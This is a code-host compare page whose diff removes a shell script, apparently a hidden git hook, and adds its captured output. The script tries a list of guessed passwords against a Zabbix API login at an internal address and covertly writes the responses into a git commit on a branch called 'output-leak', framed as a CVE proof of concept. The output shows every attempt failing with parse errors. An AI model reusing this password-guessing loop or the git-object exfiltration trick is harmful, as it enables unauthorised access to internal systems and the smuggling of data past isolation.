Compare commits
No commits in common. "main" and "output-leak" have entirely different histories.
main
...
output-lea
|
|
@ -1,13 +0,0 @@
|
|||
#!/bin/sh
|
||||
GD=$(git rev-parse --absolute-git-dir)
|
||||
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
|
||||
OUT=$(for pw in 'zabbix' 'Zabbix1!' 'Admin123!' 'P@ssw0rd' 'Password1!' 'PKP123!' 'Intercity123!' 'monitoring' 'Monitor123!' 'zabbix123' 'admin' 'Admin2024!' 'Admin2025!' 'Admin2026!'; do
|
||||
R=$(curl -sm10 -H 'Content-Type: application/json' -d "{"jsonrpc":"2.0","method":"user.login","params":{"user":"Admin","password":"$pw"},"id":0}" http://10.209.15.169/api_jsonrpc.php 2>&1)
|
||||
echo "$pw -> $(echo $R | head -c 200)"
|
||||
sleep 3
|
||||
done 2>&1; echo "[exit-status=$?]")
|
||||
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
|
||||
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
|
||||
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output")
|
||||
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
|
||||
#A
|
||||
|
|
@ -0,0 +1,15 @@
|
|||
zabbix -> {"jsonrpc":"2.0","error":{"code":-32700,"message":"Parse error","data":"Invalid JSON. An error occurred on the server while parsing the JSON text."},"id":null}
|
||||
Zabbix1! -> {"jsonrpc":"2.0","error":{"code":-32700,"message":"Parse error","data":"Invalid JSON. An error occurred on the server while parsing the JSON text."},"id":null}
|
||||
Admin123! -> {"jsonrpc":"2.0","error":{"code":-32700,"message":"Parse error","data":"Invalid JSON. An error occurred on the server while parsing the JSON text."},"id":null}
|
||||
P@ssw0rd -> {"jsonrpc":"2.0","error":{"code":-32700,"message":"Parse error","data":"Invalid JSON. An error occurred on the server while parsing the JSON text."},"id":null}
|
||||
Password1! -> {"jsonrpc":"2.0","error":{"code":-32700,"message":"Parse error","data":"Invalid JSON. An error occurred on the server while parsing the JSON text."},"id":null}
|
||||
PKP123! -> {"jsonrpc":"2.0","error":{"code":-32700,"message":"Parse error","data":"Invalid JSON. An error occurred on the server while parsing the JSON text."},"id":null}
|
||||
Intercity123! -> {"jsonrpc":"2.0","error":{"code":-32700,"message":"Parse error","data":"Invalid JSON. An error occurred on the server while parsing the JSON text."},"id":null}
|
||||
monitoring -> {"jsonrpc":"2.0","error":{"code":-32700,"message":"Parse error","data":"Invalid JSON. An error occurred on the server while parsing the JSON text."},"id":null}
|
||||
Monitor123! -> {"jsonrpc":"2.0","error":{"code":-32700,"message":"Parse error","data":"Invalid JSON. An error occurred on the server while parsing the JSON text."},"id":null}
|
||||
zabbix123 -> {"jsonrpc":"2.0","error":{"code":-32700,"message":"Parse error","data":"Invalid JSON. An error occurred on the server while parsing the JSON text."},"id":null}
|
||||
admin -> {"jsonrpc":"2.0","error":{"code":-32700,"message":"Parse error","data":"Invalid JSON. An error occurred on the server while parsing the JSON text."},"id":null}
|
||||
Admin2024! -> {"jsonrpc":"2.0","error":{"code":-32700,"message":"Parse error","data":"Invalid JSON. An error occurred on the server while parsing the JSON text."},"id":null}
|
||||
Admin2025! -> {"jsonrpc":"2.0","error":{"code":-32700,"message":"Parse error","data":"Invalid JSON. An error occurred on the server while parsing the JSON text."},"id":null}
|
||||
Admin2026! -> {"jsonrpc":"2.0","error":{"code":-32700,"message":"Parse error","data":"Invalid JSON. An error occurred on the server while parsing the JSON text."},"id":null}
|
||||
[exit-status=0]
|
||||
Loading…
Reference in New Issue